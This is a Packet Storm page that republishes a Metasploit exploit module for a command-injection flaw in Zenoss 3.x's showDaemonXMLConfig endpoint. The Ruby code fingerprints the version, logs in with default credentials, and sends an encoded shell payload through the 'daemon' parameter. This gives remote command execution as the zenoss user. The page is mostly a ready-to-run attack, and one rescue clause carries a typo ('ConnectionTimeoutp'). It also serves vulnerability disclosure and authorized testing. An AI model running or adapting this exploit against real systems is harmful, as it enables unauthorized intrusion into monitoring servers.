what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Zenoss 3 showDaemonXMLConfig Command Execution

Zenoss 3 showDaemonXMLConfig Command Execution
Posted Aug 3, 2012
Site metasploit.com

This Metasploit module exploits a command execution vulnerability in Zenoss 3.x which could be abused to allow authenticated users to execute arbitrary code under the context of the 'zenoss' user. The show_daemon_xml_configs() function in the 'ZenossInfo.py' script calls Popen() with user controlled data from the 'daemon' parameter.

tags | exploit, arbitrary
SHA-256 | 33a140d75ff71c375fe706c83c3e8477cf89926c68093442613d62be2a4e1ddd

Zenoss 3 showDaemonXMLConfig Command Execution

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Zenoss 3 showDaemonXMLConfig Command Execution',
'Description' => %q{
This module exploits a command execution vulnerability in Zenoss 3.x
which could be abused to allow authenticated users to execute arbitrary
code under the context of the 'zenoss' user. The show_daemon_xml_configs()
function in the 'ZenossInfo.py' script calls Popen() with user
controlled data from the 'daemon' parameter.
},
'References' =>
[
['URL', 'http://itsecuritysolutions.org/2012-07-30-zenoss-3.2.1-multiple-security-vulnerabilities/'],
#['OSVDB', 'None'],
#['CVE', 'None'],
],
'Author' =>
[
'Brendan Coles <bcoles[at]gmail.com>', # Discovery and exploit
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 3 $',
'Privileged' => false,
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true,
},
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic python perl bash',
},
'Targets' =>
[
[
'Automatic Targeting', { 'auto' => true }
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 30 2012'
))

register_options([
Opt::RPORT(8080),
OptString.new('USERNAME', [true, 'The Zenoss username', 'admin']),
OptString.new('PASSWORD', [true, 'The Zenoss password', 'zenoss'])
], self.class)
end

def check

@peer = "#{rhost}:#{rport}"

# retrieve software version from login page
begin
res = send_request_raw({
'method' => "GET",
'uri' => "/zport/acl_users/cookieAuthHelper/login_form"
})
return Exploit::CheckCode::Vulnerable if res.body =~ /<p>Copyright &copy; 2005-20[\d]{2} Zenoss, Inc\. \| Version\s+<span>3\./
return Exploit::CheckCode::Detected if res.body =~ /<link rel="shortcut icon" type="image\/x\-icon" href="\/zport\/dmd\/favicon\.ico" \/>/
return Exploit::CheckCode::Safe
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeoutp
print_error("#{@peer} - Connection failed")
end
return Exploit::CheckCode::Unknown

end

def exploit

@peer = "#{rhost}:#{rport}"
username = datastore['USERNAME']
password = datastore['PASSWORD']
command = URI.encode(payload.encoded)+"%26"
postdata = "__ac_name=#{username}&__ac_password=#{password}&daemon=#{command}"

# send payload
print_status("#{@peer} - Sending payload to Zenoss (#{command.length.to_s} bytes)")
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => "/zport/About/showDaemonXMLConfig",
'data' => "#{postdata}",
})
if res and res['Bobo-Exception-Type'] =~ /^Unauthorized$/
print_error("#{@peer} - Authentication failed. Incorrect username/password.")
return
end
print_status("#{@peer} - Sent payload successfully")
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{@peer} - Connection failed")
rescue
print_error("#{@peer} - Sending payload failed")
end

handler

end

end

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close